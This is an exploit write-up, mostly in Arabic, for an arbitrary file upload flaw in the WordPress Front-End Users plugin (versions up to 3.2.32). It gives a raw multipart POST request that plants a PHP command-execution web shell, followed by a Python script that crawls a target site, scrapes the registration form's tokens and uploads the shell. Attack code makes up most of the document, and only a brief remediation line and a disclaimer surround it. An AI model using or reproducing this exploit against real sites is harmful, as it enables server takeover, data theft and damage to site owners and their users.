
إضافة مستخدمي الواجهة الأمامية لووردبريس <= 3.2.32 معرضة لخطر رفع ملفات تعسفي
WordPress Front End Users Plugin <= 3.2.32 معرض لثغرة تحميل الملفات التعسفي
توجد الثغرة في طريقة معالجة إضافة Front-End Users لتحميل الملفات عبر نماذج التسجيل. لا يوجد تحقق صحيح من امتداد الملف، أو فحوصات المصادقة، أو تنقية لنوع الملف. يمكن للمهاجم إرسال طلب POST من نوع multipart/form-data إلى أي نموذج تسجيل تقدمه الإضافة وإدراج ملف PHP ضار تحت حقل مخصص (مثل Nxploit).
على الرغم من أن الإضافة تخزن الملفات المرفوعة في الدليل wp-content/uploads/ewd_feup_uploads/، إلا أنه يتم إعادة تسمية الملف المرفوع باستخدام تجزئة عشوائية. ومع ذلك، يظل الملف قابلًا للتنفيذ إذا كان تنفيذ PHP مسموحًا به في دليل الرفع.
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-post-id"
573
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-omit-level"
No
------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="User_Password"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="Confirm_User_Password"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="First Name"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="Last Name"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="Nxploit"; filename="shell.php"
Content-Type: application/x-php
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
------WebKitFormBoundary
Content-Disposition: form-data; name="Register_Submit"
Register
------WebKitFormBoundary--
بعد الطلب، سيتم حفظ الملف في الموقع التالي:
/wp-content/uploads/ewd_feup_uploads/[RANDOMIZED_FILENAME].php
لن يتطابق اسم الملف مع الاسم المرفوع (مثل shell.php) ولكن يمكن اكتشافه يدويًا أو تخمينه باستخدام ماسح ضوئي.
import requests
from bs4 import BeautifulSoup
import tempfile
import argparse
from urllib.parse import urljoin
requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False
parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin By: Nxploited | Khaled Alenzi")
parser.add_argument("--url", "-u", required=True, help="Base URL of the target site (e.g. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Username to register")
parser.add_argument("--newpassword", "-np", required=True, help="Password for the new user")
args = parser.parse_args()
base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword
print("[*] Starting scan on:", base_url)
try:
response = session.get(base_url, timeout=10)
soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
print("[-] Failed to fetch base URL.")
print("Error:", str(e))
exit()
page_links = set()
for a in soup.find_all("a", href=True):
href = a["href"]
if href.startswith("/") or base_url in href:
full_url = urljoin(base_url, href)
page_links.add(full_url)
print(f"[*] Found {len(page_links)} internal pages to scan...")
registration_url = None
for link in page_links:
try:
page = session.get(link, timeout=10)
if "ewd-feup-register-form" in page.text and "ewd-feup-check" in page.text:
registration_url = link
print(f"[+] Found FEUP registration form at: {registration_url}")
break
except:
continue
if not registration_url:
print("[-] Could not automatically locate the FEUP registration form.")
print("[!] Please provide the correct path manually using --url.")
exit()
page = session.get(registration_url)
soup = BeautifulSoup(page.text, 'html.parser')
def get_input_value(name):
field = soup.find('input', {'name': name})
return field['value'] if field else ''
check_value = get_input_value('ewd-feup-check')
time_value = get_input_value('ewd-feup-time')
post_id = get_input_value('ewd-feup-post-id')
file_input = soup.find('input', {'type': 'file'})
file_field_name = file_input['name'] if file_input and 'name' in file_input.attrs else ''
print(f"[+] ewd-feup-check: {check_value}")
print(f"[+] ewd-feup-time: {time_value}")
print(f"[+] ewd-feup-post-id: {post_id}")
print(f"[+] Upload field name: {file_field_name if file_field_name else 'Not found'}")
shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
temp_shell = tempfile.NamedTemporaryFile(delete=False, suffix=".php", mode='w+b')
temp_shell.write(shell_content.encode())
temp_shell.seek(0)
data = {
'ewd-feup-check': check_value,
'ewd-feup-time': time_value,
'ewd-feup-action': 'register',
'ewd-feup-post-id': post_id,
'ewd-feup-omit-level': 'No',
'Username': username,
'User_Password': password,
'Confirm_User_Password': password,
'First Name': 'admin',
'Last Name': 'admin',
'Register_Submit': 'Register'
}
files = {file_field_name: ('shell.php', temp_shell, 'application/x-php')} if file_field_name else {}
print("[*] Uploading shell to:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)
print(f"[*] HTTP Status Code: {upload_response.status_code}")
if upload_response.status_code == 200:
print("[+] Upload request completed.")
else:
print("[-] Upload may have failed.")
temp_shell.close()
قم بتحديث إضافة Front-End Users إلى أحدث إصدار آمن (إذا كان متاحًا)، أو قم بتعطيلها مؤقتًا إذا لم يكن هناك تصحيح متاح. بالإضافة إلى ذلك:
إثبات المفهوم هذا مخصص للأغراض التعليمية واختبار الأمان المصرح به فقط. استخدمه بمسؤولية وفقط ضد الأهداف التي لديك إذن صريح لاختبارها.
بواسطة Nxploit.